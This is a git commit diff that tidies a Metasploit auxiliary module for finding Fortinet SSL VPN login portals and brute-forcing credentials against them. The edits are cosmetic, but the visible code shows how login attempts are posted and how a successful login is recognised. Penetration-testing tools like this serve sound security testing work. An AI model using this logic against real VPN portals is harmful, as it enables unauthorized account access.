make the file for tidy

master
Max Michels 2019-02-17 17:25:04 +00:00
parent 8d6114498d
commit e434b6a40a
No known key found for this signature in database
GPG Key ID: BECC093737F3D962
1 changed files with 4 additions and 9 deletions

View File

@ -18,10 +18,7 @@ class MetasploitModule < Msf::Auxiliary
This module scans for Fortinet SSL VPN web login portals and This module scans for Fortinet SSL VPN web login portals and
performs login brute force to identify valid credentials. performs login brute force to identify valid credentials.
}, },
'Author' => 'Author' => [ 'Max Michels <kontakt[at]maxmichels.de>' ],
[
'Max Michels <kontakt[at]maxmichels.de>'
],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'DefaultOptions' => 'DefaultOptions' =>
{ {
@ -56,7 +53,7 @@ class MetasploitModule < Msf::Auxiliary
end end
end end
# Verify whether the connection is working or not # Verify if server is responding
def check_conn? def check_conn?
begin begin
res = send_request_cgi('uri' => '/', 'method' => 'GET') res = send_request_cgi('uri' => '/', 'method' => 'GET')
@ -82,7 +79,6 @@ class MetasploitModule < Msf::Auxiliary
# Verify whether we're working with SSL VPN or not # Verify whether we're working with SSL VPN or not
def is_app_ssl_vpn? def is_app_ssl_vpn?
res = get_login_resource res = get_login_resource
vprint_good("HTTP Response code: #{res.code}")
res && res.code == 200 && res.body.match(/fortinet/) res && res.code == 200 && res.body.match(/fortinet/)
end end
@ -137,7 +133,8 @@ class MetasploitModule < Msf::Auxiliary
'username' => user, 'username' => user,
'credential' => pass 'credential' => pass
} }
#check if domain is empty
#check to use domain/realm or not
if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty? if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
post_params['realm'] = "" post_params['realm'] = ""
else else
@ -157,8 +154,6 @@ class MetasploitModule < Msf::Auxiliary
res.body.match(/redir=/) && res.body.match(/redir=/) &&
res.body.match(/&portal=/) res.body.match(/&portal=/)
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
do_logout(res.get_cookies) do_logout(res.get_cookies)
if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty? if datastore['DOMAIN'].nil? || datastore['DOMAIN'].empty?
print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") print_good("SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")